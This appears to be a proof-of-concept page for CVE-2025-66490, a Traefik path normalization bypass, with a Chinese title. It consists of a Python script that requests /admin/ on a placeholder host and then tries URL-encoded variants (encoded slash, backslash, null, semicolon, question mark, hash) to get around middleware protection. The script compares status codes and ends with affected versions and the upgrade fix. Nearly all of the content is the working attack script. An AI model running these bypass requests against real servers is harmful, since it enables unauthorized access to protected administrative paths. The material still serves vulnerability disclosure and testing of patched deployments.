CVE-2025-66490 Traefik 路径规范化绕过漏洞

# CVE-2025-66490 Traefik Path Normalization Bypass PoC # Affected: Traefik < 2.11.32, 2.11.31-3.6.2 # This PoC demonstrates bypassing /admin/ path protection using URL-encoded slash import requests import urllib.parse target = "http://mydomain.example.com" admin_path = "/admin/" encoded_bypass = "/admin%2F" # URL-encoded slash to bypass print("[*] CVE-2025-66490 Traefik Path Normalization Bypass PoC") print(f"[*] Target: {target}") # Normal request - should be blocked by security middleware print(f"\n[1] Sending normal request to {admin_path}") response1 = requests.get(f"{target}{admin_path}", timeout=10) print(f" Status: {response1.status_code}") # Bypass request - URL-encoded slash (%2F) may bypass middleware print(f"\n[2] Sending bypass request to {encoded_bypass}") response2 = requests.get(f"{target}{encoded_bypass}", timeout=10) print(f" Status: {response2.status_code}") # Additional encoded bypasses encoded_chars = { 'encoded_slash': '/admin%2F', 'encoded_backslash': '/admin%5C', 'encoded_null': '/admin%00', 'encoded_semicolon': '/admin%3B', 'encoded_question': '/admin%3F', 'encoded_hash': '/admin%23' } print("\n[3] Testing various URL-encoded bypasses:") for name, path in encoded_chars.items(): try: resp = requests.get(f"{target}{path}", timeout=10) print(f" {name}: Status {resp.status_code}") except Exception as e: print(f" {name}: Error - {e}") print("\n[*] If bypass succeeds, status codes may differ between normal and encoded requests") print("[*] Mitigation: Upgrade to Traefik 2.11.32 or 3.6.3+")